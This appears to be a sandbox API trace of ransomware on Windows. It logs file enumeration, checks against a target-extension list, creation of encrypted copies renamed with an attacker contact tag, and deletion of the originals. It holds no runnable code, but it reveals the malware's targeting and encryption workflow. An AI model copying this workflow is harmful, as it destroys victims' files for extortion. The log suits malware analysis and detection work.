	[0057.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 1
	[0057.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76
	[0057.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76
	[0057.946] lstrlenW (lpString=".doc") returned 4
	[0057.946] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1
	[0057.946] lstrlenW (lpString=".docx") returned 5
	[0057.946] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1
	[0057.946] lstrlenW (lpString=".pdf") returned 4
	[0057.946] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1
	[0057.946] lstrlenW (lpString=".xls") returned 4
	[0057.946] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1
	[0057.946] lstrlenW (lpString=".xlsx") returned 5
	[0057.946] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1
	[0057.946] lstrlenW (lpString=".ppt") returned 4
	[0057.946] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1
	[0057.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76
	[0057.946] lstrlenW (lpString=".zip") returned 4
	[0057.946] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1
	[0057.946] lstrlenW (lpString=".rar") returned 4
	[0057.947] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1
	[0057.947] lstrlenW (lpString=".bz2") returned 4
	[0057.947] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1
	[0057.947] lstrlenW (lpString=".7z") returned 3
	[0057.947] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1
	[0057.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76
	[0057.947] lstrlenW (lpString=".dbf") returned 4
	[0057.947] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1
	[0057.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76
	[0057.947] lstrlenW (lpString=".1cd") returned 4
	[0057.947] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1
	[0057.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76
	[0057.947] lstrlenW (lpString=".jpg") returned 4
	[0057.947] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1
	[0057.948] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.948] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0057.948] GetLastError () returned 0x0
	[0057.948] ReadFile (in: hFile=0x184, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x78e4, lpOverlapped=0x0) returned 1
	[0057.950] WriteFile (in: hFile=0x1a0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x78f0, lpOverlapped=0x0) returned 1
	[0057.952] ReadFile (in: hFile=0x184, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0057.952] WriteFile (in: hFile=0x1a0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0057.952] SetEndOfFile (hFile=0x1a0) returned 1
	[0057.952] CloseHandle (hObject=0x1a0) returned 1
	[0057.952] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.952] SetEndOfFile (hFile=0x184) returned 1
	[0057.953] CloseHandle (hObject=0x184) returned 1
	[0057.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0057.954] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 1
	[0057.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80
	[0057.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80
	[0057.954] lstrlenW (lpString=".doc") returned 4
	[0057.954] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1
	[0057.954] lstrlenW (lpString=".docx") returned 5
	[0057.954] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1
	[0057.954] lstrlenW (lpString=".pdf") returned 4
	[0057.954] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1
	[0057.954] lstrlenW (lpString=".xls") returned 4
	[0057.954] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1
	[0057.954] lstrlenW (lpString=".xlsx") returned 5
	[0057.954] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1
	[0057.954] lstrlenW (lpString=".ppt") returned 4
	[0057.954] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1
	[0057.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80
	[0057.954] lstrlenW (lpString=".zip") returned 4
	[0057.955] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1
	[0057.955] lstrlenW (lpString=".rar") returned 4
	[0057.955] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1
	[0057.955] lstrlenW (lpString=".bz2") returned 4
	[0057.955] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1
	[0057.955] lstrlenW (lpString=".7z") returned 3
	[0057.955] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1
	[0057.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80
	[0057.955] lstrlenW (lpString=".dbf") returned 4
	[0057.955] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1
	[0057.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80
	[0057.955] lstrlenW (lpString=".1cd") returned 4
	[0057.955] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1
	[0057.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80
	[0057.955] lstrlenW (lpString=".jpg") returned 4
	[0057.955] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1
	[0057.955] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.955] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0057.956] GetLastError () returned 0x0
	[0057.956] ReadFile (in: hFile=0x184, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x712e, lpOverlapped=0x0) returned 1
	[0057.958] WriteFile (in: hFile=0x1a0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x7130, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x7130, lpOverlapped=0x0) returned 1
	[0057.959] ReadFile (in: hFile=0x184, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0057.959] WriteFile (in: hFile=0x1a0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0057.959] SetEndOfFile (hFile=0x1a0) returned 1
	[0057.959] CloseHandle (hObject=0x1a0) returned 1
	[0057.959] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.959] SetEndOfFile (hFile=0x184) returned 1
	[0057.960] CloseHandle (hObject=0x184) returned 1
	[0057.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0057.961] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 1
	[0057.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77
	[0057.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77
	[0057.961] lstrlenW (lpString=".doc") returned 4
	[0057.961] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1
	[0057.961] lstrlenW (lpString=".docx") returned 5
	[0057.961] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1
	[0057.961] lstrlenW (lpString=".pdf") returned 4
	[0057.961] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1
	[0057.961] lstrlenW (lpString=".xls") returned 4
	[0057.961] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1
	[0057.961] lstrlenW (lpString=".xlsx") returned 5
	[0057.961] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1
	[0057.961] lstrlenW (lpString=".ppt") returned 4
	[0057.961] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1
	[0057.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77
	[0057.961] lstrlenW (lpString=".zip") returned 4
	[0057.961] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1
	[0057.961] lstrlenW (lpString=".rar") returned 4
	[0057.961] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1
	[0057.962] lstrlenW (lpString=".bz2") returned 4
	[0057.962] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1
	[0057.962] lstrlenW (lpString=".7z") returned 3
	[0057.962] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1
	[0057.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77
	[0057.962] lstrlenW (lpString=".dbf") returned 4
	[0057.962] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1
	[0057.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77
	[0057.962] lstrlenW (lpString=".1cd") returned 4
	[0057.962] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1
	[0057.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77
	[0057.962] lstrlenW (lpString=".jpg") returned 4
	[0057.962] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1
	[0057.963] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.963] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0057.963] GetLastError () returned 0x0
	[0057.963] ReadFile (in: hFile=0x184, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x851c, lpOverlapped=0x0) returned 1
	[0058.050] WriteFile (in: hFile=0x1a0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x8520, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x8520, lpOverlapped=0x0) returned 1
	[0058.051] ReadFile (in: hFile=0x184, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0058.051] WriteFile (in: hFile=0x1a0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0058.051] SetEndOfFile (hFile=0x1a0) returned 1
	[0059.593] CloseHandle (hObject=0x1a0) returned 1
	[0059.593] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.594] SetEndOfFile (hFile=0x184) returned 1
	[0059.594] CloseHandle (hObject=0x184) returned 1
	[0059.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0059.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 1
	[0059.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79
	[0059.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79
	[0059.598] lstrlenW (lpString=".doc") returned 4
	[0059.598] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1
	[0059.598] lstrlenW (lpString=".docx") returned 5
	[0059.598] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1
	[0059.598] lstrlenW (lpString=".pdf") returned 4
	[0059.598] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1
	[0059.598] lstrlenW (lpString=".xls") returned 4
	[0059.598] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1
	[0059.599] lstrlenW (lpString=".xlsx") returned 5
	[0059.599] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1
	[0059.599] lstrlenW (lpString=".ppt") returned 4
	[0059.599] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1
	[0059.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79
	[0059.599] lstrlenW (lpString=".zip") returned 4
	[0059.599] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1
	[0059.599] lstrlenW (lpString=".rar") returned 4
	[0059.599] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1
	[0059.599] lstrlenW (lpString=".bz2") returned 4
	[0059.599] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1
	[0059.599] lstrlenW (lpString=".7z") returned 3
	[0059.599] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1
	[0059.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79
	[0059.599] lstrlenW (lpString=".dbf") returned 4
	[0059.599] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1
	[0059.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79
	[0059.599] lstrlenW (lpString=".1cd") returned 4
	[0059.599] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1
	[0059.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79
	[0059.599] lstrlenW (lpString=".jpg") returned 4
	[0059.599] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1

Thread:
	id = 14
	os_tid = 0x970

	[0036.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35d0e68
	[0036.881] lstrlenW (lpString="C:") returned 2
	[0036.881] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2ebfd00 | out: lpFindFileData=0x2ebfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x54b3c0
	[0036.881] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
	[0036.881] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1
	[0036.881] lstrlenW (lpString="$Recycle.Bin") returned 12
	[0036.882] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1
	[0036.882] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35e0e70
	[0036.882] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
	[0036.882] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x35f0e78
	[0036.882] FindNextFileW (in: hFindFile=0x35f0e78, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.882] FindNextFileW (in: hFindFile=0x35f0e78, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0036.883] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62
	[0036.883] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1
	[0036.883] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46
	[0036.883] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1
	[0036.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f1ec0
	[0036.883] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62
	[0036.883] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3601ec8
	[0036.883] FindNextFileW (in: hFindFile=0x3601ec8, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.883] FindNextFileW (in: hFindFile=0x3601ec8, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0036.884] lstrlenW (lpString="desktop.ini") returned 11
	[0036.884] lstrlenW (lpString=".1cd") returned 4
	[0036.884] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0036.884] lstrlenW (lpString=".3ds") returned 4
	[0036.884] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1
	[0036.884] lstrlenW (lpString=".3fr") returned 4
	[0036.884] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1
	[0036.884] lstrlenW (lpString=".3g2") returned 4
	[0036.884] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1
	[0036.884] lstrlenW (lpString=".3gp") returned 4
	[0036.884] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1
	[0036.884] lstrlenW (lpString=".7z") returned 3
	[0036.884] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0036.884] lstrlenW (lpString=".accda") returned 6
	[0036.884] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1
	[0036.884] lstrlenW (lpString=".accdb") returned 6
	[0036.884] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1
	[0036.884] lstrlenW (lpString=".accdc") returned 6
	[0036.884] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1
	[0036.884] lstrlenW (lpString=".accde") returned 6
	[0036.884] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1
	[0036.884] lstrlenW (lpString=".accdt") returned 6
	[0036.884] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1
	[0036.884] lstrlenW (lpString=".accdw") returned 6
	[0036.884] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1
	[0036.884] lstrlenW (lpString=".adb") returned 4
	[0036.884] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1
	[0036.884] lstrlenW (lpString=".adp") returned 4
	[0036.884] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1
	[0036.884] lstrlenW (lpString=".ai") returned 3
	[0036.885] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1
	[0036.885] lstrlenW (lpString=".ai3") returned 4
	[0036.885] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1
	[0036.885] lstrlenW (lpString=".ai4") returned 4
	[0036.885] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1
	[0036.885] lstrlenW (lpString=".ai5") returned 4
	[0036.885] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1
	[0036.885] lstrlenW (lpString=".ai6") returned 4
	[0036.885] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1
	[0036.885] lstrlenW (lpString=".ai7") returned 4
	[0036.885] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1
	[0036.885] lstrlenW (lpString=".ai8") returned 4
	[0036.885] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1
	[0036.885] lstrlenW (lpString=".anim") returned 5
	[0036.885] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1
	[0036.885] lstrlenW (lpString=".arw") returned 4
	[0036.885] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1
	[0036.885] lstrlenW (lpString=".as") returned 3
	[0036.885] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1
	[0036.885] lstrlenW (lpString=".asa") returned 4
	[0036.885] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1
	[0036.885] lstrlenW (lpString=".asc") returned 4
	[0036.885] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1
	[0036.885] lstrlenW (lpString=".ascx") returned 5
	[0036.885] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1
